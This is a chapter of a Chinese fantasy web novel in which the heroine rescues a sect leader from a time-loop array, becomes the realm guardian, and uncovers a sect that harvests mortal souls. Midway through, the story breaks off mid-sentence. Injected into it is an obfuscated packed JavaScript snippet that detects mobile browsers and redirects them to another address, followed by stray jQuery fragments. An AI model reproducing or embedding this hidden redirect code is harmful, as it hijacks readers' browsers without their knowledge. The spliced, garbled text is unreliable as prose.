99. 天道钦点的守界人

作品:《求你,别死

    更加完善的无尽轮转中,四季的交替在那棵银杏树上体现的淋漓尽致。


    青翠绿意极致的生机和金黄叶片脉络里的枯槁,组成了一场生机和死亡复杂交织出的壮丽画卷。


    贺卿生抬眼,迎着那盛满期许的目光,看向了老人手中颤巍巍递出的一块白玉佩。


    但贺卿生最先注意到的却是那一双衰老枯瘦看不出剑茧的手。


    问心以剑道立宗,历任宗主皆为剑术集大成者。


    岳山河的灵剑插在银杏叶中,如同望夫成石的痴情女子,年复一年静默地等待着主人的召唤。


    可哪怕近在咫尺,岳山河也不能动,她用毕生修为抵抗着无尽轮转的时间流速,等待着一个虚无缥缈的转机。


    注视间,贺卿生竟生出了一种抬手将人拽出来的冲动。


    她这么想,也这么做了。


    “别!”


    岳山河的话卡在喉咙里,流动的符文如水亲和,却在贺卿生触及它表面的瞬间,暴露了可怖的危险与恶意。


    巨大的吸力要将贺卿生硬拽进这座时间囚笼。


    岳山河沉静多年的心突然提到了嗓子眼,那一刹,她出乎意料地没再考虑苍生大道,而是简单地在想,那贺姑娘看着那么年轻有为,被困在这了该怎么办啊?


    不过心念流转间,贺卿生以实际行动回答了岳山河的话。


    凶戾的邪煞之气开拓出通道,贺卿生轻轻将岳山河往外一推,转身奔向了硕大的银杏树下。


    无尽轮转里的时间像是无法对她形成任何枷锁,她自由轻快得如同一只在落叶堆里嬉戏玩闹的猫。


    重新回到正常世界,呼吸着不再催命的空气,压制在岳山河胸口的重石突然挪开,她终于露出了微微讶然的神色。


    “贺姑娘她……”


    应去劫没有回答岳山河的疑惑,眸色深深看着贺卿生的背影,纵然她与忍冬藕融合得再好,纵然她再怎么肖似活人,却总有这种偶然的契机,在提醒他,贺卿生随时有离开他的可能。


    岳山河注意到年轻男子看似没有任何变化,却一下阴郁了的面色,心中生出了些许怪异的情绪。


    贺卿生这孩子在问心宗借读时,她虽出门在外,却也略有耳闻,勤奋刻苦赤诚无双,问心宗的几个老伙计经常跟她抱怨明芷不务正业,但对跟着明芷摸鱼逗鸟的贺卿生做出的评价却都不低。


    况且能查到这,想来也是心性顶顶坚韧纯良的孩子。


    岳山河在无尽轮转中向外见到的第一眼,便知道贺卿生与眼前的青年关系匪浅。贺卿生身上的大小物件,似乎都带着隐晦的禁锢与控制欲。


    不出意外,皆出自这青年之手,可见其心思深沉。


    她不是没见过感情好的小道侣,只是看这情况,难免为贺卿生担忧。


    无尽轮转里,贺卿生目标明确地拔出岳山河的灵剑,她只扫了一眼落叶下的人骨白丨粉,而后如过无人之境般,大摇大摆走出了阵法。


    不得不说,设置无尽轮转之人,意图用时间困死一代宗师时,肯定没想到有人间还有她这样不受时间所困的死鬼。


    贺卿生不由失笑,收起煞气后,银杏树下盘腿静坐的身影不变,无尽轮转中一切都恢复了原样,像是从没有人来过一般。


    贺卿生将灵剑递到岳山河手中:“走吧,岳宗主,跟我说说这块白玉佩到底是什么东西?”


    几乎和凌玄给她白玉佩一比一复刻。


    若不是她的那块染得有应去劫的血,她都很难辨别出两者的差异。


    岳山河重新握上剑柄时,这个铁血一生的大宗之主,不由地红了眼眶,还好,她没有死,等来了人。


    还好,她还能拿得动剑。


    岳山河挽了个漂亮的剑花,一道极其类似无尽轮转的符文结界升腾而出。


    贺卿生看着融进一侧无尽轮转的结界,忍不住惊叹,“从前只听闻岳宗主剑术高超,没想到符术同样惊艳。”


    “嗐,久病成医。”岳山河摆摆手,自然转了个话题,“结界为盾,在十二垣是很常见的方式。”


    贺卿生望向她,等待她的后续。


    “你能寻我至此,想必是灵界出现了问题,而致使灵界出现问题的人,你对他有不同寻常的猜测。”


    遗世独立的安静角落里,岳山河望向贺卿生,语气认真,“这块白玉佩代表的是,守界人。”


    “守界人?”


    这是贺卿生第二次听到这个说法,她的思绪随着岳山河平缓地叙述,想到了连诏口中对守界人的定义的头衔——天道钦点的使者。


    贺卿生看向应去劫拿出的那块玉佩,暗道这天道选的使者还挺多。


    像是看穿了贺卿生在想什么,岳山河对她摇了摇头,“只有一块白玉佩。”


    只有一个守界人。


    “前守界人失格,为了防止新的守界人未成气候身死,我与旧友等数人合力将守界人玉佩一分为二,分隔看守,从外表看不出白玉佩变化。”


    岳山河示意她往内注入灵气,贺卿生并未动作,她只好继续道:“但只有两块白玉佩共归新主,才能重新合并,发挥效用。”


    “守界不守界另说,您口中说的‘未成气候身死’,是有人在追杀守界人?那人要破坏灵界的存在。”


    贺卿生的后一句是笃定,岳山河看着眼前聪敏的后辈露出了个欣慰的笑容。


    贺卿生惊疑:“您方才还提到前守界人失格,而不是陨落,不会就是前守界人要破坏灵界吧?”


    这相当于让珍宝的守护兽去损坏珍宝,听起来甚至有点爱恨翻转的狗血意味。


    岳山河在她的大胆猜测中,郑重点了点头。


    贺卿生试探性地又问了一句:“前守界人,叫严行一?”


    “严行一是谁?”岳山河解释道:“前守界人,叫梁邱暨。”


    她哭笑一下,“真元宗宗主梁邱暨。”


    梁邱暨其人,冷漠严苛不近人情,继任真元宗起,将真元宗一个十大宗门末尾,给带到了第二大宗的位置,其中手段和野心缺一不可。


    如果这样看的话,梁邱暨干得换命一事,结合岳山河所说的前守界人意图破坏灵界,两人的目的前后承接,倒是说得过去。


    只是贺卿生总


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313774|155455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得哪里怪异。


    她的视线落在那块白玉佩上,应去劫和岳山河同样在看那块玉佩。


    应去劫伸手去拿,被贺卿生避开,“还是我来吧。”


    如果白玉佩证实的新任守界人,需要面对的是,前守界人的追杀,按照现在外面的情况,甚至会与十二垣为敌。


    白玉佩从前吸了应去劫的血,贺卿生担心这种证明身份的物件也会抽风。


    她将玉佩攥紧,抽了缕煞气还没注入,便见那白玉佩登时光芒大炽,像是生怕响应慢了被主人丢了似的。


    贺卿生:……


    总是很难不想到赶鸭子上架。


    但随着两块白玉佩的融合,贺卿生不得不承认她感受到了与白玉佩之间心照不宣的联系。


    她从前质疑守界人的存在,说若真有守界人,免日辉等人在凡间造出那么多事,守界人都没半点动静。


    现在倒是蓦地生出一种被命运安排好的微妙感——守界人怎么会没有动静呢?她在凡间阴差阳错做出的桩桩件件事。


    从一开始就在无意识地履行她作为守界人的职责。


    无可否认的是,这一刻贺卿生产生了些微的迷茫。


    但这一丝迷茫,在她彻底完成验证后,烟消云散。


    她和应去劫同岳山河分头行动后,贺卿生在真元宗内逮到了个落单的嫡系三代弟子。


    那孩子年纪尚小,眉宇间全是傲气,但都不需要贺卿生出手,应去劫几招下来,他便昏死在地。


    贺卿生蹲下,煞气化成匕首在他心口处笔直插入,片刻后,便从他心口剜出了一抹幽魂。


    那魂不是扶留宗弟子,喂了聚灵丹依旧浑浑噩噩说不清自己的来历。


    应去劫面色凝重道:“这是普通人的魂。”


    真元宗用于小辈弟子身上的换命之术,就是他为何能召集其他宗门氏族的砝码。


    如果仅用普通凡人的魂,便能使修为突飞猛进,那十二垣至少有一半人不能拒绝这巨大的诱惑。


    贺卿生嗯了声,像是早有预料,没有过多惊讶,依旧布置着手下阵法,符文流转间,那弟子血肉模糊的未来出现在眼前。


    所谓成仙的光明大道尽头,是尸骨无存、神魂溃散的深渊。


    梁邱暨对整个十二垣画出了一个带着慢性毒药的大饼:


    破坏灵界,去凡间杀人取魂,等修士们真喜滋滋得到换命带来的修为进步后,会在某一天以一种惨烈赎罪的姿态死无全尸。


    终于证实了自己的全部猜测,贺卿生却没有一丝喜悦的神色,她在对方的行为里,体会到的是对世间万物的深沉恶意。


    “恶意?”


    高座之上的男人笑得灿烂,像是听到了什么极好笑的话,他对凌玄摇了摇头,“我对小贺怎么会有恶意呢?”


    凌玄一言不发,沉默地表达对男人问句的反抗。


    他也不气恼,道:“我只是,物伤其类,不忍见她误入歧途啊。”


    “凌玄,我知道你也不想她走上那条路,所以,我需要你去将她拉过来。”


    凌玄脸颊抽动了几下,应了声是。